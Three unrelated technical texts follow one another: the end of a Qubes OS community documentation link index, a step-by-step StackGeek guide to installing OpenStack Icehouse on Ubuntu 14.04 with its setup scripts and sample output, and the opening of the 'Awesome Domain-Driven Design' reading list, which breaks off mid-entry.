smartTV](https://github.com/Aekez/QubesTV) -  [VM hardening (fend off malware at VM startup)](https://github.com/tasket/Qubes-VM-hardening) -  [VPN configuration](https://github.com/tasket/Qubes-vpn-support) - [Run wireguard on server and use as VPN for Qubes](/docs/wireguard/README.md) (forum [guide](https://forum.qubes-os.org/t/19082)) - [Exposing Mumble server running in Qubes using Wireguard](/docs/mumble/README.md) (forum [guide](https://forum.qubes-os.org/t/19070)) - [Make an HTTP Filtering Proxy](/docs/configuration/http-proxy.md) (forum [guide](https://forum.qubes-os.org/t/18986)) -  [Ansible Qubes](https://github.com/Rudd-O/ansible-qubes) (see Rudd-O's [other repos](https://github.com/Rudd-O?tab=repositories) as well) - [shrink VM volumes](/docs/configuration/shrink-volumes.md) (forum [guide](https://forum.qubes-os.org/t/19027)) -  [script to create Windows qubes automatically](https://github.com/elliotkillick/qvm-create-windows-qube) - [Manage Qubes via dmenu](/docs/configuration/qmenu.md) (forum [guide](https://forum.qubes-os.org/t/19058)) -  [Pihole qube (old post, but also work on QubesOS 4.0)](https://blog.tufarolo.eu/how-to-configure-pihole-in-qubesos-proxyvm/) -  [Newer Pihole qube, with cloudflared or NextDNS servers](https://github.com/92VV3M42d3v8/PiHole/blob/master/PiHole%20Cloudflared) -  [qubes-dns](https://github.com/3hhh/qubes-dns/) - [Using multiple languages in dom0](/docs/localization/multi-language-support-dom0.md) (forum [guide](https://forum.qubes-os.org/t/19068)) - [How to manage Bluetooth graphically](/docs/configuration/bluetooth.md) (forum [guide](https://forum.qubes-os.org/t/18982)) - [How to persist Tailscale tunnel in AppVM](/docs/customization/tailscale.md) (forum [guide](https://forum.qubes-os.org/t/19004)) -  [Verify boot process without Heads or AEM on TPM 2.0](https://github.com/kennethrrosen/qubes-boot-verification) `coreboot` - [install coreboot on a Thinkpad x230](/docs/coreboot/x230.md) (forum [guide](https://forum.qubes-os.org/t/19063)) `customization` - [change DPI scaling in dom0 and VMs](/docs/customization/dpi-scaling.md) (forum [guide](https://forum.qubes-os.org/t/19064)) - [setup mirage firewall](/docs/customization/mirage-firewall.md) (forum [guide](https://forum.qubes-os.org/t/19065)) - [gaming HVM with GPU passthrough](/docs/customization/gaming-hvm.md) (forum [guide](https://forum.qubes-os.org/t/19000)) - [Choose deafult terminal settings for a TemplateVM](/docs/customization/terminal-defaults.md) (forum [guide](https://forum.qubes-os.org/t/19067)) - [AwesomeWM](/docs/customization/awesomewm.md) (forum [guide](https://forum.qubes-os.org/t/18995)) - [Screenlockers](/docs/customization/screenlockers.md) (forum [guide](https://forum.qubes-os.org/t/19003)) -  [QubesOS Autostart Menu](https://github.com/kennethrrosen/Qubes-OS-Autostart-Menu/) -  [sys-VPN notification setup](https://github.com/kennethrrosen/qubes_VPN_notifier) -  [PAM Distress login script](https://github.com/kennethrrosen/qubes-PAM-distress-login) `hardware` `localization` - [how to use multiple keyboard layouts](/docs/localization/keyboard-multiple-layouts.md) (forum [guide](https://forum.qubes-os.org/t/19029)) `misc` -  [Qubes 3.2 cheat sheet](https://github.com/Jeeppler/qubes-cheatsheet) - [infrequently asked questions](/docs/misc/iaq.adoc) `security` - [multifactor authentication](/docs/security/multifactor-authentication.md) (forum [guide](https://forum.qubes-os.org/t/19016)) - [security guidelines](/docs/security/security-guidelines.md) (forum [guide](https://forum.qubes-os.org/t/19075)) - [split bitcoin](/docs/security/split-bitcoin.md) (forum [guide](https://forum.qubes-os.org/t/19017)) - [split gpg](/docs/security/split-gpg.md) (forum [guide](https://forum.qubes-os.org/t/19076)) - [forensics](/docs/security/forensics.md) (forum [guide](https://forum.qubes-os.org/t/19015)) `system` - [understanding and fixing issues with time/clock](/docs/system/clock-time.md) (forum [guide](https://forum.qubes-os.org/t/19030)) - [restoring 3.2 templates/standalones to 4.0](/docs/system/restore-3.2.md) (forum [guide](https://forum.qubes-os.org/t/19018)) - [connect to a VM console](/docs/system/vm-console.md) (forum [guide](https://forum.qubes-os.org/t/19079)) - [display reminders to make regular backups](/docs/system/backup-reminders.md) (forum [guide](https://forum.qubes-os.org/t/19078)) - [mount a VM's private storage volume in another VM](/docs/system/vm-image.md) (forum [guide](https://forum.qubes-os.org/t/19080)) `user-setups` - [examples of user setups](/docs/user-setups/) (templates and VMs used, productivity tips, customizations, ...) ## User-contributed code and links ( icon) to third party resources **Prolific authors** - [Tasket](https://github.com/tasket) **`OS-administration`** -  [qubes4-multi-update](https://github.com/tasket/Qubes-scripts/blob/master/qubes4-multi-update): updates multiple template, standalone VMs and dom0 in R4.0 ([readme](https://github.com/tasket/Qubes-scripts#qubes4-multi-update)) - [R4-universal-update-script.sh](/code/OS-administration/R4-universal-update-script.sh): bash script to automate VM updates -  [findpref](https://github.com/tasket/Qubes-scripts/blob/master/findpref): find all VMs that match a pref value and optionally set new values for them ([readme](https://github.com/tasket/Qubes-scripts#findpref)) -  [qvm-portfwd-iptables](https://gist.github.com/fepitre/941d7161ae1150d90e15f778027e3248): port forwarding to allow external connections, see usage notes at bottom - [mount_lvm_image.sh](/code/OS-administration/mount_lvm_image.sh): mount lvm image to a newly created DisposableVM - [build-archlinux.sh](/code/OS-administration/build-archlinux.sh): build the archlinux template **`monitoring`** - [ls-qubes.sh](/code/monitoring/ls-qubes.sh): outputs the nb. of running qubes + total memory used; the output can be fed into a panel text applet (see comments in the script). -  [qubes-performance](https://github.com/3hhh/qubes-performance) -  [qrexec-proxy](https://github.com/3hhh/qubes-qrexec-proxy) -  [qubes-callbackd](https://github.com/3hhh/qubes-callbackd) **`multimedia`** - sound-control-scripts: toggle, volume up, volume down, ... **`productivity`** - toggle-fullscreen-scripts - screenshot-scripts -  [bash autocompletion script for `qvm-*` commands in dom0](https://github.com/taradiddles/qubes-os/blob/master/qvm-cmds-bash-completion.bash) -  [qvm-screenshot-tool](https://github.com/evadogstar/qvm-screenshot-tool) -  [qubes-split-dm-crypt](https://github.com/rustybird/qubes-split-dm-crypt) -  [qcrypt](https://github.com/3hhh/qcrypt) -  [qidle](https://github.com/3hhh/qidle) -  [qubes-url-redirector ("Open in Qube")](https://github.com/raffaeleflorio/qubes-url-redirector/) -  [qubes-terminal-hotkeys](https://github.com/3hhh/qubes-terminal-hotkeys) -  [qubes-conky](https://github.com/3hhh/qubes-conky) -  [qvm-ls-mermaid](https://github.com/3hhh/qvm-ls-mermaid) -  [fedora-template-updater-script](https://github.com/kennethrrosen/qubes-fedora-upgrader) **`misc`** -  [halt-vm-by-window](https://github.com/tasket/Qubes-scripts/blob/master/halt-vm-by-window): shutdown a Qubes VM associated with the currently active window ([readme](https://github.com/tasket/Qubes-scripts#halt-vm-by-window)) -  [network traffic analysis](http://zrubi.hu/en/2017/traffic-analysis-qubes/) (also see Zrubi's [other Qubes blog posts](http://zrubi.hu/en/category/virtualization/qubes/) !) -  [Ubuntu VMs](http://qubes.3isec.org/): repository with templates and packages to set up Ubuntu VMs -  [shadow-qube](https://github.com/kennethrrosen/qubes-shadow-dvm): A "Truly Disposable" Qube -  [Qubes for Journalists and free-speech defenders](https://github.com/kennethrrosen/journoSEC): a work-in-progress respository of scripts and advice for journalists and human rights workers.

## Installing OpenStack Icehouse on Ubuntu 14.04 LTS Before beginning this guide, be sure you read the introduction README in the [directory above this one](https://github.com/stackgeek/openstackgeek/). Information on the project, goals, support channels and installs for other versions of OpenStack are available there. #### Video Guide The video for this guide is [located on Vimeo](https://vimeo.com/97757352). [](https://vimeo.com/97757352) ### Installation Assuming a [fresh install of Ubuntu 14.04 LTS Desktop](http://www.ubuntu.com/download/desktop), you'll need to locally login to each rig and install the *openssh-server* to allow remote *ssh* access: sudo apt-get install openssh-server Remotely log into your new server and install *git* with *aptitude*: sudo su apt-get -y install git Checkout the StackGeek OpenStack setup scripts from Github: git clone git://github.com/StackGeek/openstackgeek.git cd openstackgeek/icehouse #### Network Interfaces You need to manually configure your ethernet interface to support a non-routable static IPv4 address and an auto configured IPv6 address. ./openstack_networking.sh The script will output a short configuration block which should be placed manually in **/etc/network/interfaces**. **Be sure to edit the IP adddress before you save the file!** I suggest you use an ordered set of IPs like .100, .101, .102, etc. for your rigs. # loopback auto lo iface lo inet loopback # primary interface auto eth0 iface eth0 inet static address 10.0.1.100 netmask 255.255.255.0 gateway 10.0.1.1 dns-nameservers 8.8.8.8 # ipv6 configuration iface eth0 inet6 auto You will also need to edit your /etc/hosts file to contain an entry for your controller and any compute rigs. Here's an example: 127.0.0.1 localhost 10.0.1.100 hanoman 10.0.1.101 ravana Reboot the rig after saving the file. #### Privacy and Tracking Notice A few of these scripts contain tracking pings and are used to analyze the install process flow. The IP address of the machine(s) you are installing will be reported to [https://www.stackmonkey.com/](https://www.stackmonkey.com). No other personal information is transmitted by the tracking pings. You may examine the Open Source code for handling the ping requests [here](https://github.com/StackMonkey/xovio-pool/blob/master/web/handlers/apihandlers.py). You may run the following script if you would like to disable the tracking pings in these scripts: ./openstack_disable_tracking.sh *Another Note: Please also be aware that the openstack_setup.sh script below sends your configuration file to a pastebin knockoff hosted on stackgeek.com and keeps it until you delete it (instructions below). If you don't want this functionality, please edit the openstack_setup.sh script to your liking.* #### Test and Update After editing the network, you'll need to test your rig for virtualization support: ./openstack_server_test.sh If your rig doesn't support virtualization, you will need to check your virtualization settings in bios or upgrade your hardware. There are some systems, like DigitalOcean instances, that will come back as supporting hardware (kvm) virtualization, but do not. In that case, you'll need to edit your **/etc/nova/nova.conf** file to use qemu: libvirt_type=qemu ***Note: If you need to run qemu virtualization, be sure to do this step AFTER finishing the entire guide. You will need to restart services to enable the change.*** Moving on, you'll need to update your Ubuntu install next: ./openstack_system_update.sh The update should come back pretty quick as you've already updated the system. #### Setup *Note: Be sure to take a look at the scripts before you run them. Keep in mind the setup scripts will periodically prompt you for input, either for confirming installation of a package, or asking you for information for configuration.* Start the installation by running the setup script: ./openstack_setup.sh You will be asked whether or not this rig is to be configured as a controller. If you answer yes, the result of the setup will be a **setuprc** file in the install directory. The setup script will also output a URL which is used to copy the existing setup to a compute rig. Here's an example URL: https://sgsprunge.appspot.com/I2DIkNZxJyPhhIJc If you indicated the rig is not a controller node, you will be prompted for the URL spit out by the controller installation as mentioned above. Paste this URL in and hit enter to start the compute rig install. ***Note: If you are installing a compute rig, you may skip to the Cinder Setup section below.*** #### Install Splunk (Controller Only) If you would like to use Splunk for debugging and monitoring purposes, install it now: ./openstack_splunk.sh Splunk will be configured to monitor the OpenStack packages logfiles. You may access splunk through the following URL (assuming you use the controller's correct IP address): http://10.0.1.100:8000 #### Database Setup (Controller Only) The next part of the setup installs MySQL and RabbitMQ. **This is only required for the controller rig. Skip this step if you are setting up a compute rig for your cluster.** Start the install on the controller rig by typing: ./openstack_mysql.sh The install script will install Rabbit and MySQL. During the MySQL install you will be prompted for the MySQL password you entered earlier to set a password for the MySQL root user. You'll be prompted again toward the end of the script when it creates the databases. ***The MySQL install script now runs the command 'mysql_secure_installation' to secure your MySQL install. Answer the questions this script presents to you to secure your install properly.*** #### Keystone Setup (Controller Only) Keystone is used by OpenStack to provide central authentication across all installed services. Start the install of Keystone by typing the following: ./openstack_keystone.sh When the install is done, test Keystone by setting the environment variables using the newly created **stackrc** file. ***Note: This file can be sourced any time you need to manage the OpenStack cluster from the command line.*** . ./stackrc keystone user-list Keystone should output the current user list to the console: +----------------------------------+---------+---------+--------------------+ | id | name | enabled | email | +----------------------------------+---------+---------+--------------------+ | 5474c43e65c840b5b371d695af72cba4 | admin | True | [email protected] | | dec9e0adf6af4066810b922035f24edf | cinder | True | [email protected] | | 936e0e930553423b957d1983d0a29a62 | demo | True | [email protected] | | 665bc14a5da44e86bd5856c6a22866fb | glance | True | [email protected] | | bf435eb480f643058e27520ee3737685 | nova | True | [email protected] | | 7fa480363a364d539278613aa7e32875 | quantum | True | [email protected] | +----------------------------------+---------+---------+--------------------+ #### Glance Setup (Controller Only) Glance provides image services for OpenStack. Images are comprised of prebuilt operating system images built to run on OpenStack. There is a [list of available images](http://docs.openstack.org/image-guide/content/ch_obtaining_images.html) on the OpenStack site. Start the Glance install by typing: ./openstack_glance.sh Once the Glance install completes, you should be able to query the system for the available images: glance image-list The output should be something like this: +--------------------------------------+--------------+-------------+--------+---------+--------+ | ID | Name | Disk Format | Format | Size | Status | +--------------------------------------+--------------+-------------+--------+-----------+--------+ | df53bace-b5a0-49ba-9b7f-4d43f249e3f3 | Cirros 0.3.0 | qcow2 | bare | 9761280 | active | +--------------------------------------+--------------+-------------+--------+---------+--------+ #### Cinder Setup (Any Rig) Cinder is used to provide additional volume attachments to running instances and snapshot space. Start the install of Cinder by typing: ./openstack_cinder.sh Once the install of Cinder is complete, determine your space requirements and run the loopback volume creation script (keep in mind you have to create a loopback file that is at least 1GB in size): ./openstack_loop.sh You should now be able to query installed storage types: cinder type-list You may then create a new volume to test: cinder create --volume-type Storage --display-name test 1 ***Note: If you are installing a compute rig, you may skip to the *Nova Compute Setup* section below.*** #### Nova Setup (Controller Only) Nova provides multiple services to OpenStack for controlling networking, imaging and starting and stopping instances. This script should be run on the *controller rig* only. If you are installing an additional *compute rig*, please skip to the following section to install the base *nova-compute* methods only. Start the controller's nova install by typing the following: ./openstack_nova.sh When the install is complete, you may query the running services by doing the following: nova service-list You should see output that looks similar to this: +------------------+--------+----------+---------+-------+----------------------------+ | Binary | Host | Zone | Status | State | Updated_at | +------------------+--------+----------+---------+-------+----------------------------+ | nova-cert | tester | internal | enabled | up | 2014-02-20T10:37:25.000000 | | nova-conductor | tester | internal | enabled | up | 2014-02-20T10:37:17.000000 | | nova-consoleauth | tester | internal | enabled | up | 2014-02-20T10:37:25.000000 | | nova-network | tester | internal | enabled | up | 2014-02-20T10:37:25.000000 | | nova-scheduler | tester | internal | enabled | up | 2014-02-20T10:37:24.000000 | +------------------+--------+----------+---------+-------+----------------------------+ #### Nova Compute Setup (Compute Rigs Only) This step is similar to the *Nova Setup* section above, except it is intended for *compute rigs* only. You should skip this step if you are working on the controller rig. You may run this on any number of compute rigs. Start the Nova Compute setup on a given compute rig by typing the following: ./openstack_nova_compute.sh Once the compute rig has been configured, you may log back into the **controller rig** and run the nova service list command again: nova service-list You should see new entries for the newly added compute rig: +------------------+---------+----------+---------+-------+----------------------------+ | Binary | Host | Zone | Status | State | Updated_at | +------------------+---------+----------+---------+-------+----------------------------+ | nova-cert | nero | internal | enabled | up | 2014-04-13T17:20:52.000000 | | nova-compute | booster | nova | enabled | up | 2014-04-13T17:20:55.000000 | | nova-compute | nero | nova | enabled | up | 2014-04-13T17:20:55.000000 | | nova-conductor | nero | internal | enabled | up | 2014-04-13T17:20:52.000000 | | nova-consoleauth | nero | internal | enabled | up | 2014-04-13T17:20:52.000000 | | nova-network | booster | internal | enabled | up | 2014-04-13T17:20:52.000000 | | nova-network | nero | internal | enabled | up | 2014-04-13T17:20:52.000000 | | nova-scheduler | nero | internal | enabled | up | 2014-04-13T17:20:52.000000 | +------------------+---------+----------+---------+-------+----------------------------+ #### Flat Networking Setup for IPv4 (Controller Only) This guide completely ignores the [Neutron/Quantum project](https://wiki.openstack.org/wiki/Neutron). If you are interested in Neutron, this is not the place to seek help. ***Note: If you want to run IPv4 + IPv6, please skip to the next section and do NOT run this section's commands.*** Begin by creating an IPv4 private network range which blocks out the **10.0.47.0** network (assuming the ethernet interface is eth0): nova-manage network create private --fixed_range_v4=10.0.47.0/24 --num_networks=1 --bridge=br100 --bridge_interface=eth0 --network_size=255 You'll need to add a route in your router to point to the new network managed by the controller (pseudo command here): route add 10.0.47.0 255.255.255.0 gw 10.0.1.200 You can view the networks by querying nova: nova network-list Output should look like this: +--------------------------------------+---------+---------------+ | ID | Label | CIDR | +--------------------------------------+---------+---------------+ | 22aca431-14b3-43e0-a762-b02914770e6d | private | 10.0.1.224/28 | +--------------------------------------+---------+---------------+ #### Flat Networking Setup for IPv4 + IPv6 (Controller Only) Before you can add an IPv6 prefix to your OpenStack controller, you will need to configure your router to enable IPv6 on your provider. Your milage may vary by router type and provider. We've found the Asus routers + Comcast to be the easiest to configure: simply navigate to the IPv6 settings and then select 'native' or 'native with DHCP-PD' in your router's admin interface to turn on IPv6. ***Note: If your provider doesn't support IPv6 and you have an IPv6 capable router, you can use [Huricane Electric's Tunnel Broker](https://tunnelbroker.net/) to enable IPv6 on your network.*** After configuring your router for IPv6, your router interface should show a LAN IPv6 prefix and length. Make note of the address, as you'll use it in a minute to add a prefix to OpenStack. Now configure IPv6 forwarding support on the controller: ./openstack_ipv6.sh Just in case, restart the Nova services to sync up the network: ./openstack_restart_nova.sh Create an IPv4 private network range using sample networks of **10.0.47.0** for IPv4 and **2601:9:1380:821::/64** for an IPv6 prefix (again, assuming the ethernet interface is eth0): nova-manage network create private --fixed_range_v4=10.0.47.0/24 --fixed_range_v6=2601:9:1380:821::/64 --num_networks=1 --bridge=br100 --bridge_interface=eth0 --network_size=255 You'll need to add a route in your router to point to the new network managed by the controller (pseudo command here, using 10.0.1.200 as the controller node): route add 10.0.47.0 255.255.255.0 gw 10.0.1.200 You can view the private network by querying nova: nova network-list Output should look like this: +--------------------------------------+---------+---------------+ | ID | Label | CIDR | +--------------------------------------+---------+---------------+ | 22aca431-14b3-43e0-a762-b02914770e6d | private | 10.0.1.224/28 | +--------------------------------------+---------+---------------+ #### Floating IP Setup (Controller Only) If you have a block of externally routed IP addresses (public IPs) you may create a floating IP entry for OpenStack: nova-manage floating create 208.128.7.128/25 This example would allow a floating IP address to be assigned to instance from the range of **208.128.7.129 to 208.128.7.254**. If you added it, you can view the available floating pool addresses by querying nova again: nova floating-ip-bulk-list Output should look like this (truncated for space): +------------+---------------+---------------+------+-----------+ | project_id | address | instance_uuid | pool | interface | +------------+---------------+---------------+------+-----------+ | None | 208.128.7.129 | None | nova | 10.0.2.15 | | None | 208.128.7.130 | None | nova | 10.0.2.15 | +------------+---------------+---------------+------+-----------+ Finally, edit the */etc/nova/nova.conf* file to enable assigning the floating IPs to newly launched instances: auto_assign_floating_ip=true ***Note: As with the private IP space added earlier, you'll need to configure your router to route the external addresses to the controller's IP address. Your mileage will vary, depending on your current network setup.*** #### Horizon Setup (Controller Only) Horizon provides OpenStack's managment interface. Install Horizon by typing: ./openstack_horizon.sh Now reboot the controller rig: reboot Once the rig comes back up, you should be able to log into your OpenStack cluster with the following URL format (changing the IP of course): http://10.0.1.100/horizon Your user/pass combination will be *'admin'* and whatever you entered for a password earlier. If you accidentally run this command before adding the network above, you may see errors in the UI. ***Note: If you log into the dashboard and get errors regarding quotas, log out of the UI by clicking on 'sign out' at the top right and then reboot the rig. The errors should go away when you log back in.*** #### Install the StackMonkey Virtual Appliance StackMonkey is a pool instance of a highly distributed cloud framework. If you elect to install the appliance, this OpenStack node will provide a small portion of its compute power to help build a highly distributed cloud. You will earn Bitcoin doing this. The virtual appliance setup can be run by typing the following command: ./openstack_stackmonkey_va.sh More information about the project can be viewed on the [StackMonkey pool's site](https://www.stackmonkey.com/appliances/new) (requires auth to Google account). There is also a [video guide](https://vimeo.com/91805503) that walks you through setting up your first appliance. #### OpenStack Cheat Sheet An OpenStack Command Line Cheat Sheet is available on [Anystacker's site](http://anystacker.com/2014/02/openstack-command-line-cheat-sheet/). Commands can be run once the **setuprc** file has been sourced: . ./setuprc #### Delete the Paste File The URL created for a multi-rig install is stored on an AppEngine application based on [Rupa's sprunge project](http://github.com/rupa/sprunge). You should delete the paste after you are done with your setup for security's sake: curl -X DELETE https://sgsprunge.appspot.com/I2DIkNZxJyPhhIJc If you have any questions, issues or concerns, please feel free to join IRC, post on the forum, or create a ticket!

# Awesome Domain-Driven Design [](https://github.com/sindresorhus/awesome) > A curated list of Domain-Driven Design (DDD), Command Query Responsibility Segregation (CQRS), Event Sourcing, and Event Storming resources. **Check out my [blog](https://buildplease.com) and [weekly DDD newsletter](https://buildplease.com/pages/dddweekly/) or say hi on [Twitter](https://twitter.com/heynickc)!** **[Domain-Driven Design (DDD)](https://en.m.wikipedia.org/wiki/Domain-driven_design)** is an approach to software development for complex needs by connecting the implementation to an evolving model. The premise of Domain-Driven Design is the following: - placing the project's primary focus on the core domain and domain logic - basing complex designs on a model of the domain - initiating a creative collaboration between technical and domain experts to iteratively refine a conceptual model that addresses particular domain problems The term was coined by Eric Evans in his book of the same title. **[Command Query Responsibility Segregation (CQRS)](http://codebetter.com/gregyoung/2010/02/16/cqrs-task-based-uis-event-sourcing-agh/)** is simply the creation of two objects where there was previously only one. The separation occurs based upon whether the methods are a command or a query (the same definition that is used by Meyer in Command and Query Separation, a command is any method that mutates state and a query is any method that returns a value). **[Event Sourcing](http://www.martinfowler.com/eaaDev/EventSourcing.html)** the fundamental idea of Event Sourcing is that of ensuring every change to the state of an application is captured in an event object, and that these event objects are themselves stored in the sequence they were applied for the same lifetime as the application state itself. **[Event Storming](https://ziobrando.blogspot.com/2013/11/introducing-event-storming.html)** is a workshop format for quickly exploring complex business domains. ## Contents - [Awesome Domain-Driven Design](https://github.com/heynickc/awesome-ddd/) - [Contents](#contents) - [Books](#books) - [Free eBooks](#free-ebooks) - [Training Courses](#training-courses) - [Video Collections](#video-collections) - [Community Resources](#community-resources) - [Blogs](#blogs) - [Sample Projects](#sample-projects) - [GO](#go) - [.NET (C#/F#)](#net-cf) - [Haskell](#haskell) - [Idris](#idris) - [JavaScript / TypeScript](#javascript--typescript) - [JVM languages](#jvm-languages) - [PHP](#php) - [Libraries and Frameworks](#libraries-and-frameworks) - [GO](#go-1) - [.NET](#net) - [Databases](#databases) - [Elixir](#elixir) - [JavaScript / TypeScript](#javascript--typescript-1) - [JVM](#jvm) - [PHP](#php-1) - [Python](#python) - [Ruby](#ruby) - [Podcasts and Interviews](#podcasts-and-interviews) - [Conferences](#conferences) - [User Groups](#user-groups) - [Tools](#tools) - [License](#license) ## Books - [Applying Domain Driven Design with CQRS and Event Sourcing](https://buildplease.com/pages/now-what/) - A walkthrough of using EventStorming and other modeling techniques to build a CQRS and Event Sourcing-based prototype for a fictional business domain. - [Architecture Modernization](https://www.manning.com/books/architecture-modernization) - Concrete tools, techniques, and processes to align software architecture with your business domains, organizational design, team topologies, and corporate strategy. - [Collaborative Software Design](https://www.manning.com/books/collaborative-software-design) - A practical guide for effectively involving all stakeholders in the design of software.A practical guide for effectively involving all stakeholders in the design of software. - [CQRS](https://leanpub.com/cqrs) - Notes by Mark Nijhof from his experiences learning DDD and CQRS from Greg Young. There is an extensive sample project that accompanies this book. - [Domain-Driven Design: Tackling the Complexity at the Heart of Software](https://amzn.com/0321125215) - The canonical book that coined the term Domain-Driven Design. Also known as the "Blue Book." - [Domain-Driven Design Distilled](https://www.amazon.com/Domain-Driven-Design-Distilled-Vaughn-Vernon/dp/0134434420) - Very good starter book before you read [Implementing Domain-Driven Design](https://vaughnvernon.co/?page_id=168#iddd) or [Domain-Driven Design: Tackling the Complexity at the Heart of Software](https://amzn.com/0321125215). - [Domain-Driven Design in PHP](https://leanpub.com/ddd-in-php) - Real examples written in PHP showcasing DDD Architectural Styles, Tactical Design, and Bounded Context Integration. - [Domain-Driven Rails](https://blog.arkency.com/domain-driven-rails/) - Domain-Driven Rails describes 11 techniques (from Bounded Contexts to Event Sourcing) that you can use separately and together in new and old Rails apps to achieve better architecture. - [Domain Modeling Made Functional](https://pragprog.com/book/swdddf/domain-modeling-made-functional) - Tackle Software Complexity with Domain-Driven Design and F#. - [Domain Specific Languages](http://martinfowler.com/books/dsl.html) - Tangentially connected to DDD, describes the importance of the Ubiquitous Language and working together with domain experts, along with lots of technical details. - [Event Sourcing and CQRS with .NET Core and SQL Server](https://buildplease.com/products/fpc-v2/) - A walkthrough of using Domain-Driven Design with Event Sourcing and CQRS using ASP.NET Core and SQL Server in production. - [Hands-On Domain-Driven Design with .NET Core](https://www.amazon.com/Hands-Domain-Driven-Design-NET-dp-1788834097/dp/1788834097) - Tackling complexity in the heart of software by putting DDD principles into practice by Alexey Zimarev. - [Implementing Domain-Driven Design](https://www.amazon.com/Implementing-Domain-Driven-Design-Vaughn-Vernon/dp/0321834577) - Also a canonical book presenting a top-down approach to understanding Domain-Driven Design. Also known as the "Red Book." - [Implementing DDD, CQRS and Event Sourcing](https://leanpub.com/implementing-ddd-cqrs-and-event-sourcing) - Learn how to implement DDD, CQRS and Event Sourcing. Understand the theory and put it into practice with JavaScript and Node.js. - [Introducing Event Storming: An act of Deliberate Collective Learning](https://leanpub.com/introducing_eventstorming) - The deepest tutorial and explanation about EventStorming, straight from the inventor. - [Learning Domain-Driven Design: Aligning Software Architecture and Business Strategy](https://www.amazon.com/Learning-Domain-Driven-Design-Aligning-Architecture/dp/1098100131/) - Learn the essential patterns and practices of domain-driven design and how to apply them in your day-to-day work, both in greenfield and brownfield projects. - [Microsoft .NET - Architecting Applications for the Enterprise (2nd Edition)](https://www.amazon.com/Microsoft-NET-Architecting-Applications-Enterprise/dp/0735685355/) - A software architect’s digest of core practices, pragmatically applied. - [Patterns, Principles, and Practices of Domain-Driven Design (1st Edition)](https://www.amazon.com/Patterns-Principles-Practices-Domain-Driven-Design/dp/1118714709) - Methods for managing complex software construction following the practices, principles and patterns of Domain-Driven Design with code examples in C#. - [Secure by Design](https://www.manning.com/books/secure-by-design?a_aid=danbjson&a_bid=0b3fac80) - Shows how to use Domain-Driven Design to avoid security vulnerabilities. - [Specification by Example](https://www.manning.com/books/specification-by-example) - This book distills from the experience of leading teams worldwide effective ways to specify, test, and deliver software in short, iterative delivery cycles. Case studies in this book range from small web startups to large financial institutions, working in many processes including XP, Scrum, and Kanban. - [Versioning in an Event Sourced System](https://leanpub.com/esversioning) - Have you had troubles with versioning an Event Sourced system? Just getting into a new Event Sourced system for the first time? This book is the definitive guide of how to handle versioning over long periods of time. - [What is Domain-Driven Design?](https://learning.oreilly.com/library/view/what-is-domain-driven/9781492057802/) - A quick read exploring the core patterns and principles of Domain-Driven Design, as well as strategies for applying DDD in brownfield projects. - [Writing Great Specifications](https://www.manning.com/books/writing-great-specifications) - Writing Great Specifications is an example-rich tutorial that teaches you how to write good Gherkin specification documents that take advantage of Specification by Example's benefits. - ## Free eBooks - [The Anatomy of Domain-Driven Design - The Infographic](https://leanpub.com/theanatomyofdomain-drivendesign) - An infographic on the anatomy of Domain-Driven Design. - [Architecting Modern Web Applications with ASP.NET Core and Microsoft Azure](https://dotnet.microsoft.com/download/thank-you/aspnet-ebook) - Provides end-to-end guidance on building monolithic web applications using DDD, ASP.NET Core, and Azure. [eShopOnWeb sample](https://github.com/dotnet-architecture/eShopOnWeb) - [Architecture Patterns with Python](https://www.cosmicpython.com/book/preface.html) - A book about Pythonic application architecture patterns for managing complexity. - [CQRS Journey](https://msdn.microsoft.com/en-us/library/jj554200.aspx) - Exploring CQRS and Event Sourcing. - [Domain-Driven Design: The First 15 Years](https://dddeurope.com/15years) - To celebrate the anniversary, we've asked prominent authors in the software design world to contribute old and new essays. With contributions by Martin Fowler, James Coplien, Rebecca Wirfs-Brock, Mel Conway, and many more. - [DDD Reference](http://domainlanguage.com/wp-content/uploads/2016/05/DDD_Reference_2015-03.pdf) - A summary of the patterns and definitions of DDD. - [Domain Driven Design Quickly](https://www.infoq.com/minibooks/domain-driven-design-quickly) - Domain Driven Design Quickly is a short, quick-readable summary and introduction to the fundamentals of DDD. - [Effective Aggregate Design](http://dddcommunity.org/library/vernon_2011/) - In this three-part series, Vaughn Vernon walks through some common design pitfalls, discusses the pros and cons of various aggregate modeling choices, and provides rules of thumb to guide modeling of aggregates. - [Getting Started with DDD when Surrounded by Legacy Systems](http://domainlanguage.com/wp-content/uploads/2016/04/GettingStartedWithDDDWhenSurroundedByLegacySystemsV1.pdf) - Describes three strategies for getting started with DDD when you have a big commitment to legacy systems. - [Living Documentation by Design, with Domain-Driven Design](https://leanpub.com/livingdocumentation) - Discover how a Living Documentation can help you in all aspects of your projects, from the business goals to the business domain knowledge, architecture and design, processes and deployment, even if you hate writing documentation. - [.NET Microservices: Architecture for Containerized .NET Applications](https://dotnet.microsoft.com/download/thank-you/microservices-architecture-ebook) - An introduction to developing microservices-based applications and managing them using containers. [eShopOnContainers sample](https://github.com/dotnet-architecture/eShopOnContainers) - [The Semantic JavaScript Backend for Event-Driven Development](https://docs.wolkenkit.io/1.1.0/downloads/brochure/) - A 68 pages long free ebook on what DDD, CQRS and event-sourcing are, and how they fit each other. - [DDD Magazine from Xebia #1](https://pages.xebia.com/domain-driven-design-magazine-xebia) - This magazine is packed with visionary and practical insights, based on personal, business, and customer experiences to support you on your DDD journey - [Visual Collaboration Tools](https://leanpub.com/visualcollaborationtools/) - Visual Collaboration Tools is a book for teams building software. It describes tools that help us in our daily job, and also present field stories from different practitioners. ## Training Courses - [Advanced Distributed Systems Design](https://learn-particular.thinkific.com/courses/adsd-online) - Online training course from Udi Dahan. Udi's live training schedule can be found [here](http://udidahan.com/training/). - [DDD Workshops across Europe and Online](https://training.dddeurope.com/) - Public Workshops by Eric Evans, Alberto Brandolini, Mathias Verraes, Rebecca Wirfs-Brock, Nick Tune, and many more. - [DDD Workshop by Xebia](https://xebia.com/academy/en/search?query=Domain-driven%20design) - public and in-house Domain-driven design workshops from foundation to professional level. - [Distilling Domain-Driven Design](https://www.informit.com/store/domain-driven-design-livelessons-video-training-9780134597324) - Vaughn Vernon's online training course. - [Domain Language eLearning](http://elearn.domainlanguage.com/) - Using our video lessons with Eric Evans, author of the original book on Domain-Driven Design (DDD), teach yourself techniques for evolving practical models that improve your software — not just your documents. - [Event Sourcery](https://www.youtube.com/@EventSourcery) - Introduction to DDD, CQRS, and Event Sourcing. - [EventStorming Fundamentals Course](https://elearning.dsolemorera.com/courses/eventstorming-fundamentals) ([also in Spanish](https://elearning.dsolemorera.com/courses/fundamentos-eventstorming)) - learn the fundamentals of EventStorming. Everything about EventStorming with examples. - [Greg Young's CQRS 